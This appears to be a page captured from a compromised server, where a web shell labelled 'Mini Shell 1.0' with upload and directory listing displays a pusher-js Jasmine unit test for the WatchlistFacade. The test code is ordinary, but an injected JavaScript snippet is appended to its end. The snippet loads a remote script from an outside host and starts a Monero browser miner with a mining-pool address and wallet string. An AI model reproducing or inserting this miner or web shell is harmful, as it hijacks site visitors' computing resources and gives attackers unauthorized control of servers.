HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/task/1784574/cwd/node_modules/pusher-js/spec/javascripts/unit/core/
Upload File :
Current File : //proc/1784574/task/1784574/cwd/node_modules/pusher-js/spec/javascripts/unit/core/watchlist_spec.js
var WatchlistFacade = require("core/watchlist").default;

describe("WatchlistFacade", function () {
  var connection;
  var pusher;

  beforeEach(function() {
    connection = jasmine.createSpy('connection');
    pusher = jasmine.createSpy('pusher');
    pusher.connection = connection;

    spyOn(pusher.connection, 'bind')
  });

  it('should bind to pusher_internal:user_presence events', function() {
    new WatchlistFacade(pusher);
    expect(connection.bind).toHaveBeenCalledWith('message', jasmine.any(Function));
  });

  describe('#handleEvent', function() {
    var watchlistFacade;

    beforeEach(function() {
      watchlistFacade = new WatchlistFacade(pusher);
    });

    const watchlistEvents = [
      { name: 'online', user_ids: ['1'] },
      { name: 'offline', user_ids: ['2', '3', '4'] },
      { name: 'subscribe', user_ids: ['5', '6'], channel_name: 'presence-chat' }
    ];

    it(`should emit ${watchlistEvents.length} events`, function() {
      const pusherEvent = {
        event: 'pusher_internal:watchlist_events',
        data: { events: watchlistEvents }
      };

      spyOn(watchlistFacade, 'emit').and.callThrough();
      watchlistFacade.handleEvent(pusherEvent);
      
      expect(watchlistFacade.emit).toHaveBeenCalledTimes(watchlistEvents.length)
      watchlistEvents.forEach(function(event) {
        expect(watchlistFacade.emit).toHaveBeenCalledWith(event.name, event);
      });
    });
  })
});
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}